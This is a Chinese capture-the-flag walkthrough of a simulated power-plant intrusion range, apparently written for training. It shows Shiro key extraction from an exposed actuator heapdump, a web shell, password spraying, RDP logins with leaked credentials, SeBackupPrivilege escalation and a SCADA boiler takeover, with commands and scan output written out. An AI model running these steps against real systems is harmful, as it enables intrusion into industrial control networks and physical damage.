[[仿真場景 - ThermalPower]]#
該場景模擬仿真了電力生產企業的部分業務場景。“火創能源” 公司在未充分重視網絡安全的威脅的情況下,將敏感區域的服務錯誤地配置在公網上,使得外部的 APT 組織可以輕鬆地訪問這些服務,最終導致控制電力分配、製造流程和其他關鍵設備的服務遭受攻擊,並部署了勒索病毒。 玩家的任務是分析 APT 組織的滲透行為,按照關卡列表恢復其攻擊路徑,並對勒索病毒加密的文件進行解密。
附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h
- 內網滲透
- Shiro
- SCADA
- 工控安全
第一關#
評估暴露在公網的服務的安全性,嘗試建立通向生產區的立足點。
fscan 掃描得到 8080 端口
8080 端口訪問如下,一個登錄界面
目錄掃描得到知道存在 actuator 目錄遍歷
http://39.101.207.104:8080/actuator
有 heapdump 文件,下載 heapdump
http://39.101.207.104:8080/actuator/heapdump
使用https://github.com/whwlsfb/JDumpSpider/releases/tag/dev-20230406T031230 工具提取數據
找到了 shiro key
algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
使用工具直接利用
獲取 flag01
第二關#
嘗試接管 SCADA 工程師的個人 PC,並通過濫用 Windows 特權組提升至系統權限。
打內存馬,蟻劍連接
上傳 fscan,掃描 172.22.17.X 段
fscan 掃描結果如下
172.22.17.213:8080 open
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.213:22 open
172.22.17.6:21 open
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳轉url: http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]內部軟件
[->]火創能源內部資料
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548 code:200 len:2936 title:火創能源監控畫面管理平台
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2
掃到了兩台機器
http://172.22.17.213:8080 # 已拿下
http://172.22.17.6 有個ftp服務
掛代理
ftp 匿名登錄 172.22.17.6,
172.22.17.6 的 80 端口可目錄遍歷,洩露了一些信息
這裡有個新網段:172.22.26.xx
內部通知中,洩漏了密碼規範
通訊錄有一些帳號密碼
用 crackmapexec 嘗試爆破,得到兩個帳號,分別為 chenhua 和 zhaoli
proxychains crackmapexec smb 172.22.17.6 -u chenhua -p chenhua@0813
proxychains crackmapexec smb 172.22.17.6 -u zhaoli -p zhaoli@0821
使用 xfreerdp 登錄
proxychains -q xfreerdp /u:chenhua /p:chenhua@0813 /v:172.22.17.6:3389 +clipboard /drive:tmp,/tmp
這裡可以濫用 Windows 特權組提升至系統權限。
注:whoami /priv 可查看 SeBackupPrivilege 的狀態
下載https://github.com/k4sth4/SeBackupPrivilege
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeUtils.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Set-SeBackupPrivilege
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> dir c:\Users\Administrator\flag\
目錄: C:\Users\Administrator\flag
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2024/6/16 15:51 350 flag02.txt
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Copy-FileSeBackupPrivilege c:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt
Copied 350 bytes
獲取 flag02
第三關#
fscan 掃描 172.22.26.xx 段結果如下:
172.22.26.11:1433 open
172.22.26.11:445 open
172.22.26.11:139 open
172.22.26.11:135 open
172.22.26.11:80 open
[*] alive ports len is: 5
start vulscan
[*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA
[+] mssql 172.22.26.11:1433:sa 123456
[*] NetInfo
[*]172.22.26.11
[->]WIN-SCADA
[->]172.22.26.11
[*] WebTitle http://172.22.26.11 code:200 len:703 title:IIS Windows Server
172.22.26.11 應該是 SCADA 工程師站,嘗試接管 SCADA 工程師站,並啟動鍋爐
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3
通過之前洩漏的帳號密碼登錄 172.22.26.11
proxychains -q xfreerdp /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11:3389 +clipboard /drive:tmp,/tmp
登錄後,點擊鍋爐開
,即可查看 flag
flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
第四關#
嘗試獲取 SCADA 工程師站中的數據庫備份,並分析備份文件是否洩漏了敏感數據。
win + d 返回桌面,被勒索病毒加密了
桌面有個文件,如何解密你的文件.txt,打開,告訴你文件已被加密
打開桌面上的 navicat 數據庫連接工具,可以在 ScadaDB 中找到 flag,但 flag 被加密了
flag 可能在桌面被鎖定的 sql 文件中
在 C 盤找到勒索病毒源文件
這是一個.net 程序,可以用 dnspy 打開
病毒使用AESCrypto
加解密
根據上述代碼,需要拿到AES_KEY
,而AES_KEY
需要通過privateKey
和encryptedAesKey
才能得到。
百度網盤給了這兩個文件
privateKey 內容如下:
通過網站https://www.ssleye.com/ssltool/pem_xml.html,將 XML 格式轉成 PEM 格式,得到 `PRIVATE KEY`
然後通過https://www.lddgo.net/encrypt/rsa,再把 `aes key解出來,輸入內容為
encryptedAesKey` 中加密的內容,解密後得到一串字符。
用大頭師傅的腳本進行解密
from Crypto.Cipher import AES
import os
import base64
AES_KEY = base64.b64decode("cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=")
def decrypt_file(input_file, output_file):
aes_cipher = AES.new(AES_KEY, AES.MODE_CBC)
with open(input_file, 'rb') as f:
iv = f.read(16)
aes_cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
with open(output_file, 'wb') as decrypted_file:
while True:
chunk = f.read(16)
if len(chunk) == 0:
break
decrypted_chunk = aes_cipher.decrypt(chunk)
decrypted_file.write(decrypted_chunk)
print("解密完成")
input_file = "ScadaDB.sql.locky"
output_file = "ScadaDB.sql" # 解密後的文件
decrypt_file(input_file, output_file)
打開解密後的 ScadaDB.sql 文件,最終獲取到 flag04